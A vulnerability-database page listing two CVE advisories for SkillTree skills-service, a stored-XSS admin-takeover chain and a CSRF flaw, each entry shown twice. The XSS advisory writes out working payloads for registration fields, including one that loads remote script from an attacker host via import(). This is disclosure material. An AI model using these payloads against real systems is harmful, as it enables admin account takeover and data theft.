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    4 vulnerabilities found for skills-service by NationalSecurityAgency

    CVE-2026-54694 (GCVE-0-2026-54694)

    Vulnerability from nvd – Published: 2026-09-09 18:44 – Updated: 2026-09-10 16:02
    VLAI
    Title
    NationalSecurityAgency/skills-service has Stored XSS via User Registration Enabling Admin Account Takeover
    Summary
    SkillTree is a micro-learning gamification platform. Prior to version 4.4.2, two independent code flaws combine into a single exploitable attack chain, with three distinct exploitation paths of escalating impact. `StringHighlighter.js` builds an HTML string by interpolating raw `value` substrings directly into a template literal with no HTML entity encoding. `HighlightedValue.vue` renders that string — and all unfiltered plain values — via Vue's `v-html` directive, which sets `innerHTML`. Separately, the account registration endpoint accepts `firstName`, `lastName`, and `nickname` fields and stores them without any HTML sanitization. An attacker self-registers with `firstName = "<img src=x onerror=alert(1)>"` (28 characters — within the 30-character field limit) and visits any quiz. The next time an administrator opens the Quiz Runs page the payload executes in their browser. Three attack paths exist with escalating impact. The first is basic cross-site scripting. Any self-contained payload fitting the 30-character limit (e.g. `<img src=x onerror=alert(1)>`, which is 28 chars) fires automatically when the admin navigates to the runs page through normal use. Arbitrary code execution in the admin's browser is confirmed with zero extra steps. The second is remote script loading via `import()`. Using the split-field technique (`lastName = "<img src=x"`, `firstName = "onerror=import('//nsas.cc/p')>"`), the attacker loads a full JavaScript file from their server. The file has no size limit and can perform any admin action — delete all projects, create backdoor accounts, dump user data, install a keylogger. No phishing required. The only constraint is that the URL must fit in 11 characters (`//nsas.cc/p`). The third is full cross-site request forgery token theft. Using `eval(name)`, the attacker pre-sets `window.name` to a data-theft payload by sending the admin one redirect link first. The session cookie is `HttpOnly` and cannot be read via `document.cookie`; however, the XSRF token is readable and the attacker leverages same-origin execution to call admin APIs from inside the victim's browser, relaying the responses to an external server. No admin interaction beyond routine use is required. Version 4.4.2 contains a patch.
    SSVC
    Exploitation: poc Automatable: no Technical Impact: total
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2026-09-10 16:02 UTC
    CWE
    • CWE-20 - Improper Input Validation
    • CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
    • CWE-116 - Improper Encoding or Escaping of Output
    • CWE-183 - Permissive List of Allowed Inputs
    • CWE-693 - Protection Mechanism Failure
    References
    Impacted products
    Show details on NVD website

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    CVE-2024-39326 (GCVE-0-2024-39326)

    Vulnerability from nvd – Published: 2024-07-02 20:55 – Updated: 2024-08-02 04:19
    VLAI
    Title
    SkillTree CSRF Vulnerability allows an attacker to modify the Video and Captions of a Skill
    Summary
    SkillTree is a micro-learning gamification platform. Prior to version 2.12.6, the endpoint `/admin/projects/{projectname}/skills/{skillname}/video` (and probably others) is open to a cross-site request forgery (CSRF) vulnerability. Due to the endpoint being CSRFable e.g POST request, supports a content type that can be exploited (multipart file upload), makes a state change and has no CSRF mitigations in place (samesite flag, CSRF token). It is possible to perform a CSRF attack against a logged in admin account, allowing an attacker that can target a logged in admin of Skills Service to modify the videos, captions, and text of the skill. Version 2.12.6 contains a patch for this issue.
    SSVC
    Exploitation: poc Automatable: no Technical Impact: partial
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2024-07-03 14:26 UTC
    CWE
    • CWE-352 - Cross-Site Request Forgery (CSRF)
    Impacted products
    Vendor Product Version
    NationalSecurityAgency skills-service Affected: < 2.12.6
    Create a notification for this product.
    nsa skills-service Affected: 0 , < 2.12.6 (custom)
        cpe:2.3:a:nsa:skills-service:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Show details on NVD website

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    CVE-2026-54694 (GCVE-0-2026-54694)

    Vulnerability from cvelistv5 – Published: 2026-09-09 18:44 – Updated: 2026-09-10 16:02
    VLAI
    Title
    NationalSecurityAgency/skills-service has Stored XSS via User Registration Enabling Admin Account Takeover
    Summary
    SkillTree is a micro-learning gamification platform. Prior to version 4.4.2, two independent code flaws combine into a single exploitable attack chain, with three distinct exploitation paths of escalating impact. `StringHighlighter.js` builds an HTML string by interpolating raw `value` substrings directly into a template literal with no HTML entity encoding. `HighlightedValue.vue` renders that string — and all unfiltered plain values — via Vue's `v-html` directive, which sets `innerHTML`. Separately, the account registration endpoint accepts `firstName`, `lastName`, and `nickname` fields and stores them without any HTML sanitization. An attacker self-registers with `firstName = "<img src=x onerror=alert(1)>"` (28 characters — within the 30-character field limit) and visits any quiz. The next time an administrator opens the Quiz Runs page the payload executes in their browser. Three attack paths exist with escalating impact. The first is basic cross-site scripting. Any self-contained payload fitting the 30-character limit (e.g. `<img src=x onerror=alert(1)>`, which is 28 chars) fires automatically when the admin navigates to the runs page through normal use. Arbitrary code execution in the admin's browser is confirmed with zero extra steps. The second is remote script loading via `import()`. Using the split-field technique (`lastName = "<img src=x"`, `firstName = "onerror=import('//nsas.cc/p')>"`), the attacker loads a full JavaScript file from their server. The file has no size limit and can perform any admin action — delete all projects, create backdoor accounts, dump user data, install a keylogger. No phishing required. The only constraint is that the URL must fit in 11 characters (`//nsas.cc/p`). The third is full cross-site request forgery token theft. Using `eval(name)`, the attacker pre-sets `window.name` to a data-theft payload by sending the admin one redirect link first. The session cookie is `HttpOnly` and cannot be read via `document.cookie`; however, the XSRF token is readable and the attacker leverages same-origin execution to call admin APIs from inside the victim's browser, relaying the responses to an external server. No admin interaction beyond routine use is required. Version 4.4.2 contains a patch.
    SSVC
    Exploitation: poc Automatable: no Technical Impact: total
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2026-09-10 16:02 UTC
    CWE
    • CWE-20 - Improper Input Validation
    • CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
    • CWE-116 - Improper Encoding or Escaping of Output
    • CWE-183 - Permissive List of Allowed Inputs
    • CWE-693 - Protection Mechanism Failure
    References
    Impacted products
    Show details on NVD website

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    CVE-2024-39326 (GCVE-0-2024-39326)

    Vulnerability from cvelistv5 – Published: 2024-07-02 20:55 – Updated: 2024-08-02 04:19
    VLAI
    Title
    SkillTree CSRF Vulnerability allows an attacker to modify the Video and Captions of a Skill
    Summary
    SkillTree is a micro-learning gamification platform. Prior to version 2.12.6, the endpoint `/admin/projects/{projectname}/skills/{skillname}/video` (and probably others) is open to a cross-site request forgery (CSRF) vulnerability. Due to the endpoint being CSRFable e.g POST request, supports a content type that can be exploited (multipart file upload), makes a state change and has no CSRF mitigations in place (samesite flag, CSRF token). It is possible to perform a CSRF attack against a logged in admin account, allowing an attacker that can target a logged in admin of Skills Service to modify the videos, captions, and text of the skill. Version 2.12.6 contains a patch for this issue.
    SSVC
    Exploitation: poc Automatable: no Technical Impact: partial
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2024-07-03 14:26 UTC
    CWE
    • CWE-352 - Cross-Site Request Forgery (CSRF)
    Impacted products
    Vendor Product Version
    NationalSecurityAgency skills-service Affected: < 2.12.6
    Create a notification for this product.
    nsa skills-service Affected: 0 , < 2.12.6 (custom)
        cpe:2.3:a:nsa:skills-service:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Show details on NVD website

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